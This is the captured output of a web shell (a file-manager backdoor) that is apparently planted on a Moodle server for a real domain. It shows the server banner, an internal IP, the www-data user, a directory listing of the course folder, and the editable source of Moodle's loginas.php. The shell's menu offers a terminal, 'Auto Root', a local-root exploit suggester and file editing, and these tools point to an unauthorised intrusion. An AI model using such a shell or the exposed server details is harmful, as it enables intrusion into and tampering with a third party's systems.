Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
course /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
classes
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
format
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
publish
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
report
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
templates
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
tests
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
admin.php
1.75
KB
-rw-r--r--
2017-06-22 16:05
category.ajax.php
1.24
KB
-rw-r--r--
2017-06-22 16:05
changenumsections.php
2.16
KB
-rw-r--r--
2017-06-22 16:05
completion.js
3.84
KB
-rw-r--r--
2017-06-22 16:05
completion.php
5.29
KB
-rw-r--r--
2017-06-22 16:05
completion_form.php
14.56
KB
-rw-r--r--
2017-06-22 16:05
delete.php
3.55
KB
-rw-r--r--
2017-06-22 16:05
dndupload.js
38.59
KB
-rw-r--r--
2017-06-22 16:05
dndupload.php
1.54
KB
-rw-r--r--
2017-06-22 16:05
dnduploadlib.php
26.53
KB
-rw-r--r--
2017-06-22 16:05
edit.php
9.81
KB
-rw-r--r--
2017-06-22 16:05
edit_form.php
19.9
KB
-rw-r--r--
2017-06-22 16:05
editcategory.php
3.86
KB
-rw-r--r--
2017-06-22 16:05
editsection.php
5.42
KB
-rw-r--r--
2017-06-22 16:05
editsection_form.php
5.47
KB
-rw-r--r--
2017-06-22 16:05
enrol.php
1021
B
-rw-r--r--
2017-06-22 16:05
externallib.php
139.45
KB
-rw-r--r--
2017-06-22 16:05
index.php
2.49
KB
-rw-r--r--
2017-06-22 16:05
info.php
2.66
KB
-rw-r--r--
2017-06-22 16:05
jumpto.php
1.23
KB
-rw-r--r--
2017-06-22 16:05
lib.php
157.56
KB
-rw-r--r--
2017-06-22 16:06
loginas.php
2.68
KB
-rw-r--r--
2017-06-22 16:06
management.php
22.57
KB
-rw-r--r--
2017-06-22 16:06
mod.php
11.16
KB
-rw-r--r--
2017-06-22 16:06
modduplicate.php
1.89
KB
-rw-r--r--
2017-06-22 16:06
modedit.php
7.18
KB
-rw-r--r--
2017-06-22 16:06
modlib.php
32.51
KB
-rw-r--r--
2017-06-22 16:06
moodleform_mod.php
45.24
KB
-rw-r--r--
2017-06-22 16:06
pending.php
5.7
KB
-rw-r--r--
2017-06-22 16:06
recent.php
8.15
KB
-rw-r--r--
2017-06-22 16:06
recent_form.php
6.81
KB
-rw-r--r--
2017-06-22 16:06
renderer.php
103.33
KB
-rw-r--r--
2017-06-22 16:06
report.php
1.34
KB
-rw-r--r--
2017-06-22 16:06
request.php
2.52
KB
-rw-r--r--
2017-06-22 16:06
request_form.php
6.54
KB
-rw-r--r--
2017-06-22 16:06
reset.php
3.54
KB
-rw-r--r--
2017-06-22 16:06
reset_form.php
9.17
KB
-rw-r--r--
2017-06-22 16:06
resources.php
4.82
KB
-rw-r--r--
2017-06-22 16:06
rest.php
7.46
KB
-rw-r--r--
2017-06-22 16:06
scales.php
4.96
KB
-rw-r--r--
2017-06-22 16:06
search.php
4.01
KB
-rw-r--r--
2017-06-22 16:06
switchrole.php
3.84
KB
-rw-r--r--
2017-06-22 16:06
switchrole_form.php
3.19
KB
-rw-r--r--
2017-06-22 16:06
tags.php
2.33
KB
-rw-r--r--
2017-06-22 16:06
tags_form.php
1.51
KB
-rw-r--r--
2017-06-22 16:06
togglecompletion.php
6.28
KB
-rw-r--r--
2017-06-22 16:06
upgrade.txt
1.22
KB
-rw-r--r--
2017-06-22 16:06
user.php
7.68
KB
-rw-r--r--
2017-06-22 16:06
view.php
12.08
KB
-rw-r--r--
2017-06-22 16:06
Save
Rename
<?php // Allows a teacher/admin to login as another user (in stealth mode). require_once('../config.php'); require_once('lib.php'); $id = optional_param('id', SITEID, PARAM_INT); // course id $redirect = optional_param('redirect', 0, PARAM_BOOL); $url = new moodle_url('/course/loginas.php', array('id'=>$id)); $PAGE->set_url($url); // Reset user back to their real self if needed, for security reasons you need to log out and log in again. if (\core\session\manager::is_loggedinas()) { require_sesskey(); require_logout(); // We can not set wanted URL here because the session is closed. redirect(new moodle_url($url, array('redirect'=>1))); } if ($redirect) { if ($id and $id != SITEID) { $SESSION->wantsurl = "$CFG->wwwroot/course/view.php?id=".$id; } else { $SESSION->wantsurl = "$CFG->wwwroot/"; } redirect(get_login_url()); } // Try log in as this user. $userid = required_param('user', PARAM_INT); require_sesskey(); $course = $DB->get_record('course', array('id'=>$id), '*', MUST_EXIST); // User must be logged in. $systemcontext = context_system::instance(); $coursecontext = context_course::instance($course->id); require_login(); if (has_capability('moodle/user:loginas', $systemcontext)) { if (is_siteadmin($userid)) { print_error('nologinas'); } $context = $systemcontext; $PAGE->set_context($context); } else { require_login($course); require_capability('moodle/user:loginas', $coursecontext); if (is_siteadmin($userid)) { print_error('nologinas'); } if (!is_enrolled($coursecontext, $userid)) { print_error('usernotincourse'); } $context = $coursecontext; // Check if course has SEPARATEGROUPS and user is part of that group. if (groups_get_course_groupmode($course) == SEPARATEGROUPS && !has_capability('moodle/site:accessallgroups', $context)) { $samegroup = false; if ($groups = groups_get_all_groups($course->id, $USER->id)) { foreach ($groups as $group) { if (groups_is_member($group->id, $userid)) { $samegroup = true; break; } } } if (!$samegroup) { print_error('nologinas'); } } } // Login as this user and return to course home page. \core\session\manager::loginas($userid, $context); $newfullname = fullname($USER, true); $strloginas = get_string('loginas'); $strloggedinas = get_string('loggedinas', '', $newfullname); $PAGE->set_title($strloggedinas); $PAGE->set_heading($course->fullname); $PAGE->navbar->add($strloggedinas); notice($strloggedinas, "$CFG->wwwroot/course/view.php?id=$course->id");